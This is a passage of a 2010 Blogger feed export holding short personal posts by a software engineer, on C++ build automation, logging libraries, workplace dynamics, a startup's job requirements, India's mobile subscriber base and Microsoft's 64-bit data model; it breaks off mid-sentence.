dependent projects and letting me out of a mess of broken/hardcoded buildscripts.&lt;br /&gt;&lt;br /&gt;I do not want to go into the path of Makefiles, they suit the Linux world.  Visual Studio developers in my team use .vcprojects and solutions, and having corresponding (generated) Makefiles for automated build is just  a pain for maintainability.&lt;br /&gt;&lt;br /&gt;It's kindof funny that my Ex Boss forced us to use Cygwin environment for existing Linux Makefiles. My colleague had to struggle for more than a month before the build environment could be set right. Even then, it was kind of flaky, with certain assumptions which only one guy knew. I don't believe in Makefiles, vcprojects are good, since they are the once being used in my team and hence would be mostly kept sanitized.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://cruisecontrol.sourceforge.net/"&gt;Cruisecontrol &lt;/a&gt;is just a wrapper program (around Ant) for automating builds. I need something more than that.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://maven.apache.org/"&gt;Maven &lt;/a&gt;is best suited for Java projects. I need something similar to Maven, but for c++  (Visual studio) environment.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://continuum.apache.org/"&gt;Apache Continuum&lt;/a&gt; is looking promising, still need to evaluate it..&lt;br /&gt;&lt;br /&gt;If you know of any build/release management software, do let me know...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-6303291015493447017?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/6303291015493447017/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=6303291015493447017' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/6303291015493447017'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/6303291015493447017'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2010/02/techno-jazz-automated-build.html' title='[techno-jazz] The Automated Build'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-8614080232669967179</id><published>2010-02-25T06:26:00.000-08:00</published><updated>2010-02-25T06:32:25.442-08:00</updated><title type='text'>Apache Logging Infrastructure</title><content type='html'>Logging infrastructure for my next project will definitely be &lt;a href="http://logging.apache.org/log4cxx/index.html"&gt;apache logger4cxx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;which even has a UI based LogViewer code named &lt;a href="http://logging.apache.org/chainsaw/index.html"&gt;ChainSaw&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://logging.apache.org/chainsaw/images/chainsaw-1.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 785px; height: 453px;" src="http://logging.apache.org/chainsaw/images/chainsaw-1.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-8614080232669967179?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/8614080232669967179/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=8614080232669967179' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/8614080232669967179'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/8614080232669967179'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2010/02/apache-logging-infrastructure.html' title='Apache Logging Infrastructure'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-6995691244367163465</id><published>2010-02-24T23:32:00.000-08:00</published><updated>2010-02-25T02:36:04.025-08:00</updated><title type='text'>Ego's in work place</title><content type='html'>Every managers nightmare - Ego's in work places.&lt;br /&gt;&lt;br /&gt;There are very few egotistical rascals,  Very rare. I've just seen only one in my 9 yrs of career.&lt;br /&gt;Then why are ego clashes so common in work places?&lt;br /&gt;&lt;br /&gt;If you look closely, most of the people are actually good guys, friendly, once you know them. But at times somethings does tick them off, its very humanely natural. Now if you know him/her personally you might forgo, waive it off. But if you don't ..you will have a nasty surprise.&lt;br /&gt;&lt;br /&gt;* Update: I saw something in the office premises while having coffee upstairs, and hence this post.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-6995691244367163465?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/6995691244367163465/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=6995691244367163465' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/6995691244367163465'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/6995691244367163465'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2010/02/egos-in-work-place.html' title='Ego&apos;s in work place'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-7993037007039278112</id><published>2010-02-17T06:52:00.001-08:00</published><updated>2010-02-17T07:13:11.189-08:00</updated><title type='text'>Is that enough?</title><content type='html'>Recently in my company, an Distinguished Engineer who has been working for this company for past 30 yrs was called to lecture around how to reach Distinguished positions. You need to have a sustained track record, many patents, 10-15 letters of approvals from other distinguished team members, VP's &amp;amp; Customers. He went on and on about a career path which would demand atleast 6-8 years of dedicated effort.&lt;br /&gt;&lt;br /&gt;What I wanted to know from him was simple..&lt;br /&gt;&lt;br /&gt;How much will it gonna pay?&lt;br /&gt;&lt;br /&gt;Not even close to what I had in mind...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-7993037007039278112?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/7993037007039278112/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=7993037007039278112' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/7993037007039278112'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/7993037007039278112'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2010/02/is-that-enough.html' title='Is that enough?'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-5223400042126386220</id><published>2010-02-12T19:27:00.000-08:00</published><updated>2010-02-12T19:36:39.844-08:00</updated><title type='text'>The Man who knows</title><content type='html'>The Man who knows  - The wise man,&lt;br /&gt;HomoSapien&lt;br /&gt;&lt;br /&gt;Brilliant documentary on how the wise man is destroying the earth. But what's different from others is a relief in the end, that people and government and countries are taking preventive steps to stop the destruction of our beautiful planet, our Home.&lt;br /&gt;&lt;br /&gt;Home&lt;a href="http://www.youtube.com/watch?v=jqxENMKaeCU"&gt; http://www.youtube.com/watch?v=jqxENMKaeCU&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-5223400042126386220?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/5223400042126386220/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=5223400042126386220' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/5223400042126386220'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/5223400042126386220'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2010/02/man-who-knows.html' title='The Man who knows'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-3008714245046714156</id><published>2010-02-11T05:49:00.000-08:00</published><updated>2010-02-11T05:56:59.859-08:00</updated><title type='text'>CvsSpam: Things I learnt...</title><content type='html'>&lt;a href="http://www.badgers-in-foil.co.uk/projects/cvsspam/"&gt;CvsSpam&lt;/a&gt; Worked on it and Got it up and running. That was quite easy...Getting the legal approval to use it from IBM Legal department was difficult. Every 3rd party software we use (in code or otherwise) requires a legal approval. After a 3 week of wait from legal office  (guess where? India) I could finally use it.  Thank you!&lt;br /&gt;&lt;br /&gt;The Major challenge was in changing people mindset to trust a new guy(me),&lt;br /&gt;to agree to what I am doing, and Finally Letting me do it...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-3008714245046714156?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/3008714245046714156/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=3008714245046714156' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3008714245046714156'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3008714245046714156'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2010/02/cvsspam-things-i-learnt.html' title='CvsSpam: Things I learnt...'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-5367437498698238702</id><published>2010-02-11T05:44:00.000-08:00</published><updated>2010-02-11T05:47:05.374-08:00</updated><title type='text'></title><content type='html'>hindsight is always better than foresight ...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-5367437498698238702?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/5367437498698238702/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=5367437498698238702' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/5367437498698238702'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/5367437498698238702'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2010/02/hindsight-is-always-better-than.html' title=''/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-1111314355697521502</id><published>2010-02-05T03:24:00.000-08:00</published><updated>2010-02-05T03:28:47.807-08:00</updated><title type='text'>Choice of Choices..</title><content type='html'>Most things are neither black nor white, they are grey. So when you have to choose from a couple of choices,  you can't always find a sure winner among them. But something inside tells you to make a choice. The more experience you are, the better choice you will make (most of the times).  Isn't it called evolution...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-1111314355697521502?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/1111314355697521502/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=1111314355697521502' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/1111314355697521502'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/1111314355697521502'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2010/02/most-things-are-neither-black-nor-white.html' title='Choice of Choices..'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-8853630712529442833</id><published>2010-02-05T03:12:00.000-08:00</published><updated>2010-02-05T03:30:05.443-08:00</updated><title type='text'>Smart juniors...</title><content type='html'>Its difficult to cope up with a smart colleague, who is much junior to you, but hell bent to prove his capabilities to you, and the ppl around you. They put you in a difficult argument, come up with smart answers,  and if you can't convince him in those 2 seconds you have, then, there you go...you lost the battle.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-8853630712529442833?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/8853630712529442833/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=8853630712529442833' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/8853630712529442833'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/8853630712529442833'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2010/02/smart-juniors.html' title='Smart juniors...'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-3317533851564392234</id><published>2010-01-24T19:59:00.000-08:00</published><updated>2010-01-24T20:14:23.055-08:00</updated><title type='text'>Fan of Chinmaya Dunster</title><content type='html'>Fusion of Irish and Indian classical, its divine...&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/YGkC8siZ_7s&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/YGkC8siZ_7s&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.chinmaya-dunster.com/"&gt;http://www.chinmaya-dunster.com/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-3317533851564392234?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/3317533851564392234/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=3317533851564392234' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3317533851564392234'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3317533851564392234'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2010/01/fan-of-chinmaya-dunster.html' title='Fan of Chinmaya Dunster'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-1622875019253417366</id><published>2010-01-11T05:44:00.000-08:00</published><updated>2010-01-11T06:09:01.906-08:00</updated><title type='text'>I love startup's</title><content type='html'>&lt;div class="requirements"&gt;&lt;span style="font-style: italic;"&gt;I love startup's, there general energy, friendliness, open culture, flexible working hours and loads of responsibilities.&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.asana.com/#team"&gt;&lt;br /&gt;&lt;/a&gt;&lt;span style="font-style: italic;"&gt;&lt;a href="http://www.asana.com/#team"&gt;Asana.com&lt;/a&gt;, A secretive startup from the co-founders of facebook is looking for the following requirements.&lt;br /&gt;&lt;br /&gt;Let me see if I fit in&lt;/span&gt;&lt;em&gt;, General Requirements:&lt;/em&gt;        &lt;ul&gt;&lt;li style="color: rgb(0, 102, 0);"&gt;Passion         &lt;/li&gt;&lt;li style="color: rgb(0, 102, 0);"&gt;Earnestness         &lt;/li&gt;&lt;li style="color: rgb(0, 102, 0);"&gt;Honesty         &lt;/li&gt;&lt;li style="color: rgb(255, 102, 0);"&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;Deep care about users and the user experience&lt;/span&gt;         &lt;/li&gt;&lt;li style="color: rgb(255, 102, 0);"&gt;Fearlessness working outside your comfort zone         &lt;/li&gt;&lt;li style="color: rgb(255, 102, 0);"&gt;Love of work as an end in itself, not just as a means toward an end. &lt;span style="font-style: italic;"&gt;sometimes I take work and people casually. Many people mind that..&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li style="color: rgb(0, 102, 0);"&gt;Ability to admit when wrong         &lt;/li&gt;&lt;li style="color: rgb(255, 0, 0);"&gt;Patience with others : &lt;span style="font-style: italic;"&gt;Hopefully other team members have this one..Although I am getting better in dealing with situations and people. People can see your point of view, you just need the right words at the right time.&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li style="color: rgb(0, 102, 0);"&gt;Impatience with technology         &lt;/li&gt;&lt;li style="color: rgb(0, 102, 0);"&gt;Meta skills. &lt;span style="font-style: italic;"&gt;Python/ROR, gawk, scripting .. c/c++/Java.  I can work on anything&lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;       &lt;/div&gt;        &lt;div class="requirements"&gt;         &lt;em&gt;Generally Desirable:&lt;/em&gt;         &lt;ul&gt;&lt;li style="color: rgb(0, 102, 0);"&gt;Obsessed with systems for personal             &lt;span style="margin-right: 1px;"&gt;(&lt;/span&gt;and             team&lt;span style="margin-left: -1px;"&gt;)&lt;/span&gt; productivity           &lt;/li&gt;&lt;li style="color: rgb(0, 102, 0);"&gt;Renaissance person who can wear many hats           &lt;/li&gt;&lt;li style="color: rgb(255, 102, 0);"&gt;Intellectual breadth, beyond software: &lt;span style="font-style: italic;"&gt;I am improving every day&lt;/span&gt;           &lt;/li&gt;&lt;li style="color: rgb(255, 102, 0);"&gt;Eloquence: &lt;span style="font-style: italic;"&gt;sometimes I am short of words&lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;li style="color: rgb(0, 102, 0);"&gt;Entrepreneurial (we hope Asana will serve as a first-class entrepreneur apprenticeship program) Definitely, I love startup's!&lt;br /&gt;&lt;/li&gt;&lt;li style="color: rgb(255, 102, 0);"&gt;Many people would describe you as the best coder/designer/businessperson they know. &lt;span style="font-style: italic;"&gt;Not the best, but good.&lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;li style="color: rgb(255, 0, 0);"&gt;Sense of humor. &lt;span style="font-style: italic;"&gt;I am perceived more or less as a serious kind of guy..&lt;/span&gt;         &lt;/li&gt;&lt;/ul&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;Need to improve on all red's&lt;br /&gt;    &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-1622875019253417366?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/1622875019253417366/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=1622875019253417366' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/1622875019253417366'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/1622875019253417366'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2010/01/i-love-startups.html' title='I love startup&apos;s'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-7847336611656186623</id><published>2010-01-11T05:19:00.000-08:00</published><updated>2010-01-11T05:21:15.712-08:00</updated><title type='text'>How the AOL-Time Warner Merger Went So Wrong</title><content type='html'>&lt;p style="font-style: italic;"&gt;&lt;span class="italic"&gt;The optimism surrounding the deal was brief. In May of 2000, the dot-com bubble began to burst and online advertising began to slow, making it difficult for AOL to meet the financial forecasts on which the deal was based. The world began moving quickly to high-speed Internet access, putting AOL’s ubiquitous dial-up service in jeopardy.&lt;/span&gt;&lt;/p&gt;&lt;p style="font-style: italic;"&gt;&lt;span class="italic"&gt;The companies had another problem: both sides seemed to hate one another.&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Good Read: &lt;/span&gt;&lt;a style="font-style: italic;" href="http://www.nytimes.com/2010/01/11/business/media/11merger.html"&gt;here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-7847336611656186623?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/7847336611656186623/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=7847336611656186623' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/7847336611656186623'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/7847336611656186623'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2010/01/how-aol-time-warner-merger-went-so.html' title='How the AOL-Time Warner Merger Went So Wrong'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-7155383886695020935</id><published>2010-01-11T04:40:00.000-08:00</published><updated>2010-01-11T05:34:22.098-08:00</updated><title type='text'>Every second guy in India has a Mobile</title><content type='html'>&lt;noscript&gt;&lt;/noscript&gt;&lt;span style="font-size:100%;"&gt;I&lt;/span&gt;&lt;span style="font-size:100%;"&gt;ndia's Mobile Subscriber Base Crosses&lt;/span&gt;&lt;span style="font-size:100%;"&gt; 500 Million Mark in Nov 2009 &lt;/span&gt;&lt;span style="font-style: italic;"&gt;read &lt;/span&gt;&lt;a style="font-style: italic;" href="http://www.cio.com/article/511573/India_s_Mobile_Subscriber_Base_Crosses_500_Million_Mark"&gt;here at cio.com&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Google Search : 500 million/1.15 billion&lt;br /&gt;&lt;table class="std"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://www.google.com.sg/images/calc_img.gif" alt="" height="30" width="40" /&gt;&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td nowrap="nowrap"&gt;&lt;h2 class="r" style="font-size: 138%;"&gt;&lt;b&gt;500 million / 1.15 billion = 0.434782609&lt;/b&gt;&lt;/h2&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt; &lt;/table&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;You know what it means?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;Every second guy in India has a mobile phone. Wao..&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;a style="font-style: italic;" href="http://www.cio.com/article/511573/India_s_Mobile_Subscriber_Base_Crosses_500_Million_Mark"&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-7155383886695020935?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/7155383886695020935/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=7155383886695020935' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/7155383886695020935'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/7155383886695020935'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2010/01/every-second-guy-in-india-has-mobile.html' title='Every second guy in India has a Mobile'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-4423117835148810111</id><published>2010-01-06T05:58:00.001-08:00</published><updated>2010-01-06T06:17:57.123-08:00</updated><title type='text'>Why did MS chose a new data model?</title><content type='html'>So I just got introduced to another Microsoft mess.&lt;br /&gt;&lt;br /&gt;We have 3 different Data Models (fancy name for data types like int/long and there sizes).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;First is the Win32 Data model which is called ILP32. &lt;/span&gt;&lt;br /&gt;BTW ILP stands for Integer, Long and Pointer respectively.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Second is the LP64 model which every sane os in the world(Solaris/Unix/Linux) follows.&lt;/span&gt; It means, Long and Pointer are 64 bit on 64 bit machines. Hell yah! Makes sense.&lt;br /&gt;After all, we as programmers kindof assume that sizeof long is greater than sizeof int.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Third, is LLP64. which is a brainchild of Microsoft. &lt;/span&gt;only pointers and LL (long long) are 64 bit. Rest everything is 32 bit.&lt;br /&gt;&lt;br /&gt;so,&lt;br /&gt;                      Win32/Linux32   Win64    Linux64&lt;br /&gt;sizeof int                              32                                  32                     32&lt;br /&gt;sizeof long                         32                                  32                      64&lt;br /&gt;sizeof pointer             32                                   64                      64&lt;br /&gt;&lt;br /&gt;Why the heck MS went for a new model? There argument in this pdf (&lt;a href="http://home.att.net/%7EPoly/64bitwin.pdf"&gt; http://home.att.net/~Poly/64bitwin.pdf&lt;/a&gt;) written by David Beaver and On Lee Microsoft Corporation&lt;br /&gt;May 17, 1998 is that, and i will qoute:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;"Basic data types stay 32-bit, so data on disk doesn't change in size; data structures that are shared over a wire or through memory-mapped structures also don't change size. This relieves developers of most of the&lt;br /&gt;effort involved in potential 32-bit to 64-bit ports"&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Well, all I can say is that they might have saved some effort in looking for instances where they interchange int &lt;--&gt; with long and vice versa, but made life of thousands of programmers who want to write portable 